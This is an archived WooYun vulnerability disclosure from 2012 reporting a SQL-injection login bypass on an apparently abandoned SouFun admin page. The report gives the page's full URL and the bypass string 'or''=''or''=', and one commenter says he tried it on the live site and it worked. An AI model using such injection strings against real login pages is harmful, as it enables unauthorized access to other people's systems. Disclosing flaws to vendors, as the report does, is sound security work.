当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06563

漏洞标题：搜房一后台，刚才忘记加上去 -_-!

相关厂商：搜房网

漏洞作者： zhk

提交时间：2012-04-30 20:13

修复时间：2012-06-14 20:13

公开时间：2012-06-14 20:13

漏洞类型：SQL注射漏洞

危害等级：低

自评Rank：3

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-30： 细节已通知厂商并且等待厂商处理中
2012-04-30： 厂商已经确认，细节仅向厂商公开
2012-05-10： 细节向核心白帽子及相关领域专家公开
2012-05-20： 细节向普通白帽子公开
2012-05-30： 细节向实习白帽子公开
2012-06-14： 细节向公众公开

简要描述：

一后台，看内容应该是废弃的，登录框SQL注入

详细说明：

http://dg.soufun.com/market/zhongjie/admin/index.htm
用'or''=''or''='直接登录

漏洞证明：

修复方案：

应该是直接删掉

版权声明：转载请注明来源 zhk@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2012-04-30 22:10

厂商回复：

多年前无人维护旧程序，已经删除。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-04-30 20:24 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    也就这个奇葩公司一直用windows+iis+asp

  2. 2012-04-30 20:34 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @xsser 也有ASPX和PHP，上次他们说ASP都是旧程序，上次报告后已经将ASP程序隔离到独立服务器，应该是留着多多少少赚的广告费吧

  3. 2012-04-30 20:51 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @zhk 的确，技术上没规划好容易出这种事情 京东不都是开始迁移了么 前期一个技术有远见的人多么重要啊

  4. 2012-04-30 20:54 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    我擦 真的可以

  5. 2012-04-30 20:56 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Say 你看到漏洞内容？

  6. 2012-04-30 21:10 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @xsser 激动什么。。。= = 我现在看到你都怕了。。我照着他说的 sql注射，去试了一下，真的可以。。

  7. 2012-04-30 21:11 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @Say "极端残暴的管理员"我也领教过的~

  8. 2012-04-30 21:13 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @zhk 那是神马

  9. 2012-04-30 21:14 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    xsser曾经说过：“对于大型社区来讲，的确是个安全问题，但是对于乌云这种小众而且大家明显都是有技术准入门槛的人来说，这个问题还可以忽略，况且还有个极端残暴的管理员“

  10. 2012-04-30 21:15 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @zhk 。。。。。他这话 是啥意思 - - 看得我毛骨悚然...

  11. 2012-04-30 21:18 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @Say 就他关于你刚才回的拿敏感帐号的回复，乌云也有这对乌云来说不算是问题的问题

  12. 2012-04-30 21:24 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @zhk ......这个 乌云注册没那么方便 还算好的吧

  13. 2012-04-30 22:12 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @搜房网 没放五一？？？

  14. 2012-04-30 22:31 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @xsser 技术远见似乎也不可能无限远见啊，所以架构这个问题觉得还是要依实际而定。

  15. 2012-04-30 22:31 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @zhk 人家真够勤快的。。

  16. 2012-04-30 22:37 | zhk ( 普通白帽子 | Rank:436 漏洞数:70 | 先看公告～)

    @Say ^_^ 应该有白帽子再里面工作

  17. 2012-04-30 22:47 | Say ( 路人 | Rank:17 漏洞数:4 | 谁又会鉴定谁正常？)

    @zhk 嗯哼，我也这么觉得啊哈哈~